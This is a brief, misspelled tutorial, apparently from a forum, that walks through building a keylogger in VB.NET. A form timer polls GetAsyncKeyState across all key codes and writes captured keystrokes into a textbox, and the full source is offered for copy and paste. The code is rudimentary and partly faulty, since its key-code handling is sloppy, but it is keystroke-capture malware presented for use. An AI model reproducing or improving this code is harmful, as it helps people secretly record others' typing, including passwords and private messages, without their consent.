Im going to show you how to make a very simple key logger
Add the folowing to a form
____________________
1.Timmer
2.Text box(multi line) cover entir page with ith
Step2.
Make the timer enabeled and with intervels of 1
step 3
Select all code in the form deleate and copy and past this
Now your finishedPublic Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class